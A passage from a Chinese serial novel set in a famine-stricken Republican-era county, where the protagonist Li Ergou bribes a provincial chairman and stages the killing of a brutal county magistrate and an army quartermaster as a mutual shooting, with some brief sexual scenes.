“谢谢干爹,”李二狗看向宋孬蛋、张清明,“你们快谢谢吴爷。” “谢谢吴爷!” “省城军校的校长张永清是我以前的老部下,待会儿我给他打个电话,你们明天直接去找他。” “干爹,我就知道在省城没有您办不了的事情。” “我替你办了事,你是不是陪我吃顿饭表示感谢啊?” “嘿嘿,那是当然,那是当然。” 吃过饭之后,李二狗和静雯陪着吴有德在小花园里散步。 “二狗,现在下面是什么情况?灾情很严重吗?” 李二狗叹了一口气,神情严峻。 “相当严重!” “有多严重?” “已经出现易子而食的惨状。” “政府就没采取救灾措施吗?” “到处都在打仗,根本没人顾及老百姓的死活。” “当年我们这些人跟着先总理一起抛头颅洒热血,推翻清政府的统治,建立了民国,本想着能让百姓过上安居乐业的日子,没想到这都快二十年了,百姓的生活非但没有改善,还变得更糟,那我们当初参加革命的目的到底是为了什么呢?” 吴有德说完便剧烈地咳嗽起来,静雯赶紧扶着吴有德坐下,轻轻拍打着他的后背。 “干爹,您别生气,政府的事咱们管不了。” “这是一个什么样的政府?天天只知道争地盘,他们怎么就不知道水能载舟亦能覆舟的道理呢?” “干爹,他们不是不懂,他们读的圣贤书比老百姓多得多。” 吴有德显得很不屑。 “圣贤书都被他们读到狗肚子里去了!我听说现在南方出现了一支由穷苦人组成的队伍,叫什么红军,闹得很凶。哪里有压迫哪里就有反抗,这个道理再浅显不过了。” 提到红军,李二狗想到了李云龙,也不知道他现在怎么样了! “干爹,我听说是省政府夏主席下的命令不让上报全省灾情。” “呵呵,你以为南京中央政府那群人都是聋子瞎子吗?北方几省发生这么大的灾情他们能不知道?我听说夏瀚林早就把灾情报上去了,是南京中央政府故意装不知道,这样他们就可以不拨赈灾粮。” “夏主席可以接着上报啊,为官一任,造福一方,总不能眼睁睁看着老百姓自生自灭吧?” “这个夏瀚林呐,谨慎有余而魄力不足。他虽是南京国民政府委任的省主席,可咱们周边这几个省都是冯大帅的地盘,两边还打着仗呢,他们哪顾得上老百姓的死活。” 静雯感叹道:“兴百姓苦,亡百姓苦,不管怎么样,受苦的总是老百姓。” 吴有德同样感慨万分。 “咱们都是刀俎上的鱼肉,在时代的洪流面前实在是太过渺小。” 李二狗没有他们那么多的感慨,有发感慨的机会不如踏实办点实事。 “干爹,我还有件事想请您帮个忙。” 吴有德笑道:“二狗,你这次可没白来啊,这么多忙需要我帮。” 李二狗没把自己当外人. “干爹,当儿子的遇到困难,不找干爹找谁啊,您说是吧?嘿嘿。” “你呀,油嘴滑舌,说吧,这次又是什么事?” “干爹,我有个好兄弟叫孙竹刚,现在任江东县警察局局长,因为赈灾的事得罪了江东县长王正直。” “怎么?他想调离江东县?” “不是!王正直在江东一手遮天、鱼肉百姓,导致民怨沸腾,他才是江东最大的祸害。” “二狗,你绕来绕去的快把我绕晕了,你到底想干什么?直说。” “干爹,如果王正直被撤了职,您能不能给夏主席打声招呼,让我的好兄弟孙竹刚接任县长,他肯定能做好赈济灾民的工作。” “二狗,你跑官要官跑到我这里来了,我只是一介草民,哪有那个权力?” “干爹,您不知道江东的百姓有多可怜,一个黄花大闺女才卖一块大洋,卖妻粥子、易子而食的现象更是数不胜数。” 第262章 仅此一次,下不为例 吴有德实事求是地说道:“二狗,干爹现在只是一个生意人,不参与政治已经很久了,夏主席不一定会给你干爹这个面子。” 李二狗当然知道这是吴有德的托辞。 求人办事无非就是两种途径,要么付出金钱,要么搭上人情。 “干爹,我只需要您给我牵个线搭个桥,剩下事我自己来办。” “你小子,好的不学,这些旁门左道倒是学得挺精通。” “嘿嘿,想为干爹分忧,就得多学一点本事,艺多不压身嘛。” 李二狗知道,自己如果坚持求吴有德帮忙,他肯定能促成此事,但他更想借助此次机会结识夏瀚林。 无非就是钱的事,能用钱解决的问题根本就不是问题。 吴有德何等精明之人,他早就猜透了李二狗的心思。 “好,明天晚上我请夏主席到吴公馆吃饭,到时候你作陪。” “谢谢干爹。” 第二天晚上七点,吴公馆。 吴有德亲自站在公馆门口迎接夏瀚林。 “吴爷,怎么敢让您亲自到门口迎接?您太客气了。” 吴有德笑道:“你现在是省政府主席,是我们的父母官,你能光临寒舍已是我们莫大的荣幸,我到门口迎接一下你是应该的。” “吴爷,您是前辈,您跟着先总理打天下的时候我还是个毛孩子,实在是不敢劳您大驾。” “哈哈,那都是一些陈芝麻烂谷子的事情了,夏主席就不要再提了。” 两人一番寒暄过后,吴有德便将李二狗介绍给夏瀚林认识。 李二狗满脸堆笑,殷勤地为他们引路。 夏瀚林打量着眼前这个笑容可掬的年轻人,问道:“你就是李二狗?我听吴爷提过你的名字。” 吴有德笑道:“二狗是我干儿子,以后还请夏主席多多关照。” “夏主席,久仰您的威名,我经常听干爹提起您,请您多关照。” “咱们都是自己人,这个自然。吴爷,您老眼光不错啊。” “哈哈,夏主席过誉了,里面请。” 进入餐厅,静雯正在里面忙碌着。 “夏主席,您好。” 夏瀚林认识静雯,知道她是百乐门大舞厅的经理、吴有德的得力干将。 “静雯经理,好久不见,别来无恙啊。” 他热情地伸出手,静雯笑意盈盈地迎上去。 夏瀚林握着静雯的手,眼神不经意间流露出来的还是男人对女人的贪婪之情。 “夏主席还记得静雯,静雯真是荣幸至极,今晚我一定要好好敬您一杯。” “哈哈,一杯怎么行?至少得两杯。” “嘻嘻,三杯都行,只要您喝得开心。” 李二狗最不喜欢的就是陌生男人看静雯的目光,他真想扑上去一口咬掉他的眼珠子。 大家分主宾坐下,静雯主动坐在了夏瀚林旁边。 “夏主席,感谢你今天能赏光来到吴公馆,令寒舍蓬荜生辉啊。今天没有外人,就是家宴,来,我先敬你一杯。” 夏瀚林眼睛总是时不时地盯着静雯,一看就是老色胚。 “吴爷,您刚才都说了是家宴,就不要称呼我夏主席了,还是叫我瀚林吧。” “这怎么可以?我现在只是一介平民,而你是一省的主席啊。” “吴爷,您这么说,真是令我惭愧之至啊,行政院的孙院长见到您都得尊称一声吴叔,我一个小小的省主席又怎么敢在您面前托大呢?” “哈哈,上个月我去南京出差,和孙院长见了一面,他对你的工作很满意。” “感谢吴爷美言,感谢吴爷美言。” 夏瀚林对于前段时间低价购买吴有德粮食之事一直怀有愧意,但他也是没有办法的办法,总得先想办法保住自己头上的乌纱帽再说。 但吴有德和孙院长之间的特殊关系,还是令他心有忌惮。 “吴爷,上次您把粮食低价卖给省政府,解了我们燃眉之急。我一直没有找到合适的机会当面感谢您,今天借着这个机会,我敬您一杯,您放心,等我们省政府稍微缓过这口气,一定会对您的贸易行做出补偿。” 吴有德保持着惯有的笑容。 “夏主席,你说这话就见外了,你也是为了全省百姓着想,别说是一点粮食,就是要我吴有德的全部身家我也不会皱一下眉头。” “吴爷,您不愧是党国的肱股之臣啊,我和您比起来实在是汗颜,这杯我干了,您随意。” 夏瀚林一饮而尽,吴有德也陪着干了一杯。 “夏主席,实不相瞒,我老了,以后我吴氏企业都会交给二狗和静雯打理,以后还请你看在我的薄面上对他们多加关照。” 夏瀚林这才弄明白吴有德、李二狗和静雯之间的关系。 “吴爷请放心,这个自然。” 李二狗给静雯使了个眼神,两个人举起酒杯,同时站起身来。 “夏主席,我和静雯敬您一杯,以后有用得着我们的地方,我们一定竭尽所能为夏主席排忧解难。” “好好,英雄出少年呐,吴爷,你后继有人啊。” “哈哈,夏主席过奖了,以后就全仰仗你扶持了。” 宴会在一片欢乐祥和的氛围中结束了。 夏瀚林喝得满面红光,已经有了一些醉意,他握住吴有德的手,说道:“吴爷,您请留步。” 吴有德笑道:“夏主席,老夫确实有点喝多了,那我就不送你出去了,二狗,替我送送夏主席。” 李二狗急忙上前扶住夏瀚林。 “夏主席,我送您出去。” “吴爷,今晚叨扰了,告辞!” “夏主席,慢走!” 李二狗把夏瀚林扶到吴公馆外面的车子里,从怀里掏出一个小盒子。 “夏主席,初次相见,这是一点小意思,请您笑纳。” 夏瀚林正色道:“二狗,你这是干什么?我怎么能要吴爷的东西,你快拿回去。” 李二狗保持着谄媚的笑容。 “夏主席,这是我个人的一点小意思,请你一定笑纳。” 夏瀚林还是保持着一副严肃的面孔。 “二狗,咱们是自己人,用不着这样,仅此一次,下不为例啊。” “谢谢夏主席,您慢走。” 第263章 我不会让你白辛苦的 李二狗回到客厅时,吴有德因为喝多了酒,已经回房休息了。 静雯正坐在沙发上等他,一张俏脸喝得红扑扑的,更显妩媚。 “这么快就回来了,都送给他了?” “送了。” “求他的事提了吗?” “没有,只要钱到位,事情就会水到渠成,不必着急。” “一下子就送出去十根金条,你可真舍得!” “舍不得孩子套不着狼。” “舍不得老婆套不着流氓,干脆你把我也送出去得了。” “你我可舍不得,你是我最珍贵的小宝贝。” 李二狗坐在她身旁,捏着她的小脸,忍不住亲了她一口。 “满嘴的酒气,快去刷牙。” “刷什么牙啊,我都等不及了。” “你讨厌!” 李二狗扛起静雯就回了房间。 “你小点动静,让干爹听见了多不好。” “怕什么?干爹还等着抱孙子呢,咱们得加快进度了。” 李二狗说着已经把自己脱了个精光。 “你……” “我帮你脱?” “你……” “刺拉”一声,李二狗已经撕裂了她黑色丝袜。 “轻一点……” 李二狗反而变得更加粗鲁起来…… 第二天一早,李二狗和静雯来到餐厅时,吴有德已经在吃早饭。 “干爹早。” “嗯,我昨天已经和张永清打过电话了,今天就让你那两位兄弟去军校报到吧,告诉他们,去了好好学。” “放心吧,干爹,肯定不会给您丢脸。” 吃过早饭之后,李二狗来到酒店,宋孬蛋和张清明已在酒店大堂等候。 “跟我来。” 三个人来到一条小河边。 “孬蛋,清明,进了军校大门之后你们就是军人了,一定谨言慎行,不要泄露自己以前的身份,万一遇到不好解决的事情就去百乐门大舞厅找静雯。” “放心吧,狗哥,我们去了军校一定好好学习,不会给你丢脸的。” 李二狗从兜里掏出两张银票。 “这个你们拿好,以备不时之需,我等着你们学成归来,去吧。” 宋孬蛋一脸不舍。 “狗哥,保重!” “保重!狗哥!” 李二狗挥了挥手。 “去吧。” 宋孬蛋和张清明走了,李二狗站在小河边却有些伤感。 不管他们以后还会不会回到清风寨,但每个人都有每个人的路要走,李二狗不可能掌控他们每一个人的命运。 这是他自己的命,也是别人的命。 想到命,李二狗想到了一直躺在医院病床上的胡士高,那也是他的命。 李二狗来到医院,只有念秋一个人孤零零在病房。 “狗哥,您来了。” 念秋眼含泪花,仿佛见到了亲人一般。 “念秋,这段时间辛苦你了。” 对于念秋来说,留在医院照顾胡士高比她在胡家大院时舒服多了,但她还是表现出一副委屈的样子。 “不辛苦,只是这样日复一日太让人煎熬了。” “辛苦了,我不会让你白辛苦的。” “谢谢狗哥,狗哥最好了。” 李二狗看了看躺在病床上苟延残喘的胡士高,也许一切都该结束了,这是他的命。 经过征求医生的建议,李二狗决定过几天把胡士高带回胡家大院等死。 “念秋,我在省城还有一些事情没有办完,等办完了咱们一起回家。” 念秋听到要回家,突然变得有些紧张起来。 “怎么了?不想回家?” 念秋连连摆手道:“不是不是,我想回家,可三奶奶不知去哪了,我回去可怎么办啊?” 念秋眼泪啪啦啪啦掉了下来。 李二狗安慰道:“放心吧,三奶奶的事情我已经和大奶奶说过了,大奶奶不会怪罪你的。等回去之后,如果你想离开胡家大院,我可以给大奶奶说,把你的卖身契给你,你找个合适的人家嫁了,以后不用再伺候人了。” 念秋“扑通”一声跪在李二狗面前。 “狗哥,我做错什么了吗?为什么要赶我走?” 李二狗把念秋扶起来,说道:“念秋,你并没有做错什么,相反这次你在医院一个人照顾老爷这么久,你是立了功的,所以我和大奶奶才想着还你一个自由身。” 念秋哭着说道:“狗哥,从我爹把我卖到胡家大院那一刻起,我就没有家了,胡家大院就是我的家,我不想离开这里,求求你,不要赶我走好不好?” 念秋又跪在李二狗面前,她也是一个苦命人。 “好了,念秋,你如果想留下当然可以留下,等回去之后,我和大奶奶说一声,把三奶奶原先管的油坊交给你管理,你愿意吗?” 念秋被李二狗感动的再次泪流满面。 “我愿意,我愿意,谢谢狗哥,谢谢狗哥。” “好好干,狗哥从来没把你当丫鬟看待。” 念秋完全被李二狗的个人魅力所征服。 只要他一句话,她愿意立马给他生狗崽子。 与此同时,江东县暗流涌动,王正直已经被逼上梁山。 他召集全县的地主豪绅到县政府开会,竟然没有一个人参加。 “李二狗怎么也没来?” 在王正直的印象中,李二狗向来支持他的工作,每次捐粮都是带头响应。 “县长,派去下通知的人回来说,李二狗去了省城,他们家胡老爷在省城的医院快不行了。” “这是他的借口,胡士高在医院躺了快一年了,早不行晚不行,偏偏这个时候不行,李二狗这个人鬼的很。” “可是咱们并没有提前下通知啊,去下通知的人说,他到胡家大院的时候李二狗就已经去了省城。” “那其他人呢?” “其他人倒是都在家,他们也都答应会参加,可……” “反了反了,这群人真是敬酒不吃吃罚酒,老子一定要给他们一点颜色看看,你去把孙竹刚叫来。” 孙竹刚接到电话,很快来到王正直办公室。 “孙局长,你马上派人,按照这个名单把所有的人都带到县政府,如有违抗,立刻逮起来关进监狱。” 孙竹刚接过名单,上面列着全县地主豪绅的姓名和住址。 “请王县长放心,卑职马上去办。” “孙局长,只剩三天时间了,务必把人给我带回来。” “卑职明白,卑职亲自带人去办。” 第264章 我挥泪斩马谡的本事还是有的 警察局一众警察在孙竹刚的亲自指挥下,连一个地主的影子都没找到。 “孙局长,你们警察局这帮人是干什么吃的?竟然一个人都没找到!全他娘的是废物!” 孙竹刚脸上则是一副委屈的表情。 “王县长,这不能怪属下无能,我们赶到的时候,他们都不在家,有几户竟然门上上着锁,全家人都不在。” “看来这群人是王八吃秤砣铁了心,既然他们执意要和县政府作对,孙局长,你马上派人,一天二十四小时进行监控,一旦发现他们踪迹,立即抓起来,尤其是那几个大户,一定要重点布控。” “王县长放心,卑职马上去办。” 孙竹刚出了县政府直接回了家。 两天过去了,依然连一个人影都没找到。 “孙局长,你到底能不能干?不能干我立马换人!” 王正直又是摔茶杯又是拍桌子,那眼神恨不得吃了孙竹刚。 “王县长,是卑职无能,可我已经安排人二十四小时进行监视,他们不回家,我实在是没有办法啊。” “妈了个巴子,”王正直罕见地骂了脏话,“跑得了和尚跑不了庙,你带人直接去他们家里搜,只要发现粮食,立刻没收。” “王县长,这样做怕是不妥吧?如果传扬出去,上级一旦追查下来……” 王正直已经顾不得这些,他完全失去了理智。 一旦完不成筹措军粮的任务,汤司令的脾气他是知道的,搞不好不仅是丢了乌纱帽那么简单,军法从事那是要杀头的! “出了事我兜着,快去办!” 孙竹刚带着一帮心腹去了吴家大院,吴老太爷命人杀猪宰羊,好好地招待了他们一番。 “孙局长,您真是为民着想的好官啊,不像那个王正直,就知道敲诈勒索,完全不顾我们死活。” “吴老太爷,你以前对我多有关照,我孙竹刚是懂得知恩图报的,不可能为了他王正直一个外人,让咱们全江东的人都喝西北风吧?你告诉大家,再坚持几天。” 吴老太爷内心还是有些担忧。 “孙局长,王正直真的会走吗?如果他不走,我们可就要遭殃了。” “放心吧,他要是不走首先遭殃的是我,我都不怕,你们怕什么?” “孙局长,你这样说,老朽就放心了,来,我再敬你一杯。” 孙竹刚大醉而归。 回到家,刚想搂着严婆惜快活一番,电话铃声却响了起来。 “不接,咱们继续。” 孙竹刚把严婆惜压在身下,三下五除二就把她的小夹袄和红肚兜都脱了下来,然后一头拱了上去。 “铃铃铃……” 电话响个不停。 严婆惜催促道:“你去接电话,说不定有什么急事。” “谁他娘的这么晚还打电话?真是扫兴!” 孙竹刚嘟囔着起床去接电话。 “谁啊?”孙竹刚没好气地问道。 “孙局长,我是张海龙,王县长让您马上到他办公室一趟。” “张秘书,王县长找我什么事?” “还是筹集军粮的事情,王县长正发脾气呢,您快点来吧。” 孙竹刚一身酒气,这时候去见王正直无异于往枪口上撞,但张海龙已经把电话打到他家里,他实在找不出不去的理由。 “怎么了?这么晚还要出去?” “他娘的,县长找我!”孙竹刚一边骂一边开始穿衣服。 严婆惜并不恼怒,自从认识李二狗之后,他对孙竹刚已经完全失去了兴趣。 孙竹刚穿好衣服,又去洗了一把脸,尽量让自己清醒起来。 来到县政府,还未走到王正直办公室,孙竹刚便听到王正直在办公室里面嗷嗷骂人的声音。 张海龙正战战兢兢地站在办公室门口。 “张秘书,谁在里面?县长发这么大的火。” “民政科科长老万。” “民政科筹了多少粮食?” 张海龙伸出一个手指头。 “一万斤!” 汤司令下达了三十万斤军粮的任务,还有一天时间就到了规定的期限,民政科竟只筹到一万斤粮食,难怪王正直发火。 “这个万科长,干什么吃的?这么多天才筹集到一万斤粮食。” “也不能全怪他,现在哪里还有余粮?王县长就指望着全县的地主豪绅捐粮了。” “这些家伙都学精了,根本见不着他们人影,我带人去他们家粮仓,你猜怎么着?全他娘的是空的!” “他们是真没粮还是把粮食藏起来的?” “这谁知道啊?不过据我分析应该是真没粮,前段时间那小麦价格堪比黄金,有余粮的也都卖了。” “孙局长,你说得有道理,不过王县长可不管这些,待会进去你可要小心点。” 张海龙闻到孙竹刚身上一身酒气,心想,都火烧眉毛了,你还有心思喝酒,县长不熊你熊谁! 门开了,万科长灰头土脸的从里面走了出来,脸上竟有一道红红的手掌印。 孙竹刚故意问道:“老万,挨打了?” 万科长叹息一声,没有说话,低着头快速离开了。 张海龙走进去,小心翼翼地说道:“县长,孙局长来了。” “让他进来!” 孙竹刚走进去,张海龙赶紧退了出去。 王正直看到孙竹刚红扑扑的一张脸,又闻到一股浓重的酒气,不禁皱起了眉头。 “孙局长,今天抄了多少粮食?我可一直在等你消息。” 孙竹刚咽了一口唾液,舔了舔有些干燥的嘴唇,哭丧着脸说道:“县长,我今天带人抄了几个大户,可他们粮仓都是空的,一粒粮食都没有!” “你放屁!”王正直双眼圆睁,怒视孙竹刚,“孙竹刚,你到底有没有去查抄?一粒粮食都没有?难道他们自己喝西北风吗?” 孙竹刚想到明天就到了最后的交粮期限,底气自然壮了许多。 “王县长,您要是不相信我,就免了我这个警察局局长的职务,卑职实在是没法干了。” “你以为我不敢吗?孙竹刚,我王正直别的本事没有,挥泪斩马谡的本事还是有的。” 孙竹刚既然选择了硬怼,那就只能一条道走到黑。 第265章 孙竹刚危在旦夕 “既然王县长一定要找一个替死鬼,那我也没有办法。” 王正直虽有心换掉孙竹刚,可现在正是用人之际,一时半会儿他又去哪里找一个警察局局长? “孙局长,我再给你最后一次戴罪立功的机会,你明天继续带人去抄他们的家,只要能抄到粮食,以前的事我可以既往不咎。” 孙竹刚并不想彻底和王正直撕破脸。 “王县长,卑职一定尽力而为。” “我等你的好消息。” 不出意外,孙竹刚忙碌了一天,依然是一无所获。 汤司令派来的军需官庄仁义已经到达县政府。 “王县长,不能再拖了,今天我一定要把粮食拉走,不然汤司令怪罪下来,兄弟我得吃不了兜着走。” “庄主任,请您通融通融务必再宽限两日,我正在想尽一切办法筹集粮食。” “王县长,不是我不通融,实在是前方战事吃紧,你不能让兄弟们饿着肚子去打仗吧?” “庄主任,现在到处都在闹饥荒,粮食真的很难筹集啊。” 庄仁义把一张驴脸拉得老长。 “王县长,你和我抱怨这个有什么用?又不是只有你们江东在闹饥荒,其他县为什么就能筹集到军粮?要不然你去和汤司令说,只要汤司令一声令下,我马上离开,绝不再打扰!” 王正直忙赔着笑脸。 “庄主任,您千万不要误会,我不是这个意思,请您再通融一天,我一定把粮食给筹集到。” 说着他从兜里掏出一卷大洋塞到庄仁义手里。 “王县长,那我就再给你一天时间,明天这个时候如果我还看不到粮食,那我就只能空着手回去复命了,但汤司令的脾气你是知道的!” “我知道,我知道!庄主任放心,我一定按时筹集到粮食。” 庄仁义离开之后,王正直又把刚刚修好的电话机砸了。 “跟我去警察局,我要亲自和孙竹刚一起下去征粮。” 王正直来到警察局,竟发现警察局里有很多警察无所事事。 “你们局长呢?” 一个高个子警察认识王正直,他立马跑到王正直面前,敬了一个标准的军礼。 “报告县长,我们局长带人下去征粮了。” “他去哪征粮了?” “报告,县长,卑职不知道。” “你们怎么没下去?” “报告县长,我们局长说,这种事用不着去这么多人。” 王正直暗骂道,好你个孙竹刚,又给老子搞阳奉阴违这一套。 “你马上去集合人,跟我去凤山镇。” “是,县长。” 高个子警察为了讨好县长,赶紧集合了十几名警察,其中一名警察趁着其他人不注意,悄悄离开了警察局。 他骑上自行车直奔一家茶楼,孙竹刚正在里面听戏。 “局长,不好了,刚才王县长到局里找您,然后亲自带着十几个人去凤山镇征粮了。” 凤山镇最大的地主是吴老太爷。 好在孙竹刚已经提前让吴老太爷把粮食藏起来,王正直休想找到一粒粮食。 果不其然,王正直带人来到吴家大院,竟只搜到两麻袋粮食。 吴老太爷老泪纵横。 “县长啊,这两袋粮食可是我们吴家大院全部的存粮啊,您要是拿走了,我们全家人就得全部饿死啊。” 王正直根本不相信堂堂一个吴家大院竟只有两袋粮食。 事出反常必有妖,粮食肯定是被他们藏起来了。 “吴老太爷,前两天我派人来通知你去县里开会,你怎么没去?” “县长啊,老朽都已经八十多岁了,走路都费劲,这几天又偶感风寒,实在是下不了床啊。” “下不了床?哈哈,这个理由让我很难反驳啊,”王正直盯着红光满面的吴老太爷,“你儿子去哪里了?让他去开会也是一样的。” “哎,县长啊,你有所不知,我那个不孝子,在赌场赌输了钱,被债主们追上门,现在不知道躲到哪里去了,他回来我一定打断他的腿。” 王正直才不会相信他的鬼话。 “吴老太爷,你身体不好,还是不要生气了,我带你去县里的医院看一看。” 吴老太爷连连摆手。 “王县长啊,不用了,老朽这病啊,一时半会儿根本好不了,在家里养一些时日自然就好了。” “那怎么行?有病就得治,来人呐,把吴老太爷带走。” “老朽不去!老朽不去!县长也不能强人所难吧?” 警察根本不顾吴老太爷的挣扎和抗议,两个人直接把他抬上了车。 “告诉你们吴老爷,想让吴老太爷安全回来,送两万斤小麦到县政府。” 王正直如法炮制,很快就抓了十几个地主。 “这个孙竹刚,阳奉阴违,看我以后怎么收拾他!” 虽然抓了十几个人,但却没有找到粮食。 王正直彻底疯了,他为了逼迫地主们交出粮食,在这个寒冬腊月天,竟把这些人关在一个无遮无挡的露天院子里,断水断粮! 第二天一早,大家才发现吴老太爷竟被活活冻死在一个角落上! 大家吓坏了,他们没想到王正直竟如此心狠手辣。 “王正直太狠了,他已经疯了!” “那我们怎么办?到底交不交粮食啊?” “要交你交,反正我家是真没有余粮了!” “我家也没有,就让他把咱们都冻死在这里吧!” “对!要粮没有,要命一条!” 王正直在得到吴老太爷的死讯之后,只是冷冷一笑,根本没当回事,反而要求任何人不许搬运他的尸体,必须停放在院子里。 “王正直还是人吗?竟把吴老太爷的尸体扔在这里不管!” “我看他这次是不达目的誓不罢休啊!” 面对死亡的威胁,人心开始动摇! 孙竹刚得到消息之后,急得起了一嘴的燎泡。 如果这些人顶不住压力交出粮食,那自己之前所做的一切将前功尽弃,保不齐他们还会交代出自己是幕后主谋。 不仅警察局局长的位子不保,自己更有性命之忧。 正当孙竹刚一筹莫展回到家之时,看到李二狗正端坐在客厅里喝茶,严婆惜则哼着小曲在厨房里包饺子。 第266章 李二狗的妙计 孙竹刚仿佛看见了救星一般,上前紧紧地握住李二狗的手。 “二狗兄弟,你什么时候来的?你不是去省城了吗?” 李二狗微微一笑,一副一切尽在自己掌握之中的样子。 “大哥,我在省城放心不下你,特意回来看看,现在看来,我回来的很及时啊。” 孙竹刚连连点头。 “是啊,是啊,你回来的简直太及时了,你要是再不回来可能以后就见不着哥哥了。” “大哥,你先别着急,快把情况和我说一下。” 孙竹刚就把这几天发生的事情原原本本地告诉了李二狗。 “兄弟,那些地主豪绅估计撑不过今晚了,如果我们再不想出应对的办法,哥哥我只有死路一条了。” “大哥,你糊涂啊!当时你为什么不让这些地主都躲起来?只把粮食藏起来又有什么用?” 孙竹刚悔得肠子都青了。 “都怨我,都怨我,太大意了!我没想到王正直会亲自带人上门抓人。” “王正直能坐到县长这个位子上,肯定不是酒囊饭袋,一个大意就可能让我们前功尽弃。” 孙竹刚急得站了起来。 “兄弟啊,现在不是前功尽弃的问题,是你哥哥可能性命不保啊。” 严婆惜系着围裙从厨房里走出来,埋怨道:“有什么事你好好和二狗兄弟说,天底下还有咱二狗兄弟办不了的事?” “你懂什么?赶紧包你饺子去。” 严婆惜嘟嘟囔囔走了,李二狗拉了一下孙竹刚的胳膊。 “大哥,事已至此,着急也没有用,你先坐下,咱们商量个办法。” 夕阳西下,夜幕降临。 孙竹刚带着一个警察来到县政府,站岗的警察见是孙竹刚,敬了个礼,直接放行。 两人进入县政府大楼,来到王正直办公室门前。 孙竹刚左右瞅了瞅,神色慌张地说道:“动手吧。” 警察从兜里掏出一根细铁丝,插入锁孔转动了几下,只听“咔嚓”一声,房门打开了。 “大哥,一切就看你的了。” 说话的人抬起头,原来这个警察竟是李二狗假扮的。 “放心吧,兄弟,一切都交给我,你注意安全。” 李二狗进入王正直办公室之后,孙竹刚又左右看了看,然后才整理了一下自己的衣衫,离开了县政府。 孙竹刚来到关押地主的地方,他知道王正直正在那里。 “孙局长,你来这里做什么?” “王县长,刚才庄主任正在县政府里到处找您,好像有特别紧急的事。” 庄仁义只多给了一天时间筹粮,眼看就要到最后期限了,可这些地主豪绅还在咬牙坚持。 “庄主任找我什么事?” “他没说,看样子挺急的。” 孙竹刚现在已经完全失去了王正直的信任,他担心这是孙竹刚的调虎离山之计。 “张秘书,你留下,找几个人用水管往院子里浇浇水,他们一天没喝水,应该缺水了。” 孙竹刚暗骂王正直卑鄙无耻,这寒冬腊月的天气,要是往头上浇点水,这些人肯定就撑不住了。 “好的,县长,我马上去安排。” “孙局长,我们走吧。” 王正直特意把孙竹刚叫走,就是担心他留在这里暗中使坏。 “好的,王县长。” 两个人赶到县政府大楼,并没有看到庄仁义的身影。 “孙局长,庄主任在哪呢?” “庄主任刚才还在这里,让我赶紧去找您,可能他已经回招待所了。王县长,您先回办公等着,我马上去找庄主任。” 有张海龙在那边看着,王正直不怕孙竹刚暗中使坏。 孙竹刚转身钻进车里直接去了招待所,王正直则回到自己的办公室。 他刚打开房门走进去,还没来得及开灯,就被人在身后一掌打晕了。 孙竹刚来到招待所庄仁义的住处。 “庄主任,我们王县长有急事找您,让您现在马上去一趟他的办公室。” 离规定的一天时间只剩几个小时了,王正直还没有筹集到粮食,庄仁义也正要去找王正直。 “你们王县长好大的架子,还得让我去他办公室!” 孙竹刚赔着笑脸说道:“我们王县长刚从乡里回来,有急事请您去县政府相商,特意让我开车来接您。” “粮食筹到了?” “应该是筹到了,庄主任,我们王县长正在等您。” “好吧,那我就跟你走一趟。” 来到县政府办公大楼,走到王正直办公室门口,孙竹刚敲了敲房门。 “王县长,庄主任到了。” “请进!” 孙竹刚推开门,庄仁义走了进去。 王正直背对着门坐在椅子上。 自己屈尊来王正直办公的,他却背对着自己不起身,庄仁义对此显得十分不满。 “王县长……” 话未说完,一个人在门后闪出,一掌把庄仁义打晕了。 “大哥,你赶紧离开这里,剩下的事交给我。” “兄弟,你一个人行吗?” “放心吧,你一定要有不在场的证据。” “好,兄弟小心。” 孙竹刚刚要走,李二狗又叫住他。 “大哥,你去关押地主的院子看看,如果我猜得没错的话,那些地主应该已经答应交粮食了。” “那我还去干什么?” “大哥,你以后当了县长也得筹粮啊,趁着这个机会先把粮食搞到手,未雨绸缪。” 孙竹刚豁然开朗。 “兄弟,高啊!我这就去。” 孙竹刚离开之后,李二狗把庄仁义扶到沙发上。 他决定等半个时辰之后再动手,这样就可以完全给孙竹刚制造不在场的证据。 这时,王正直的身体突然动了一下,就在他即将苏醒之时,李二狗一个箭步窜过去,又在他脑后重重地给了一掌,他又晕了过去。 半个时辰以后,李二狗把王正直拖到沙发上,然后戴上一双洁白的手套,掏出庄仁义的手枪,对着王正直“砰砰砰”就是三枪。 然后他又拿起王正直的手枪对着庄仁义也是“砰砰砰”三枪。 庄仁义和王正直登时送了命。 李二狗快速把他们的手枪塞到他们各自手里,然后打开门快速离开了王正直的办公室,闪身进了旁边的一个厕所。 第267章 我总觉得你神神秘秘的 县政府大门口站岗的警察听到枪声急忙跑到楼上,看到庄仁义和王正直都倒在沙发旁,身下是一滩血迹。 李二狗穿着警察的衣服,趁乱离开了县政府。 孙竹刚赶到时,屋外已经站了一圈的警察。 “怎么回事?” “报告局长,王县长和庄主任都被人打死了,好像是两人互杀。” “互杀?能确定吗?你们站岗的时候有没有发现可疑的人进来?” 这个警察吓得连连摆手。 “局长,绝对没有!没有人进来也没有人出去。” “你能确定吗?” “确定,确定,绝对没有人进出,这个楼里只有王县长和庄主任。” “哎呀,一定是王县长筹集不到军粮,庄主任恼羞成怒,一怒之下才做出这等激动的事。” “局长,那我们现在怎么办?” “我知道怎么办?”孙竹刚突然压低声音,“你们都是我的人,要想不被上边追责,一定要记住刚才说的话,不然我也救不了你们,知道吗?” “谢谢局长,我们知道该怎么说,楼上只有王县长和庄主任两个人,我还听到他们争吵的声音了,是不是,栓子?” “对对对,我也听见了,吵得还很凶。” “发生这么大的事情,真让人头疼,你们快把王县长和庄主任的尸体抬走吧。” “局长,他们的尸体放在哪?” “就先放在医院太平间吧。” 警察们抬尸体的时候,张海龙跑了进来。 他看到王正直的尸体,吓得双腿发软,赶紧用手扶住墙壁才没有倒下。 “孙局长,王县长怎么死了?这到底是怎么回事?” “张秘书,咱俩刚才一直在一起,我也是得到消息刚刚赶过来,好像是王县长和庄主任因为什么事发生了激烈的争吵,然后两个人一激动就拔枪相向,结果都死了。” “互杀?” 张海龙简直难以相信。 “从现场的情况来分析,确实是互杀,而且站岗的警察还听到了他们争吵的声音。” 张海龙完全懵了。 “这可怎么办啊?” “张秘书,现在出了这么大的事情,我担心汤司令那边不好交代啊,他要是一怒之下指挥部队把咱们县政府给踏平了,咱们怎么死的都不知道!” “是啊,我听说汤司令是个暴脾气,他手下可是有几万部队啊,咱们怎么办啊?孙局长,你得快点想想办法啊。” “哎,张秘书,你是县长秘书,现在县政府就你官最大,我个人建议你抓紧给省政府写个报告,最好把责任都推到庄仁义身上,这样咱们才能占据有利条件。” 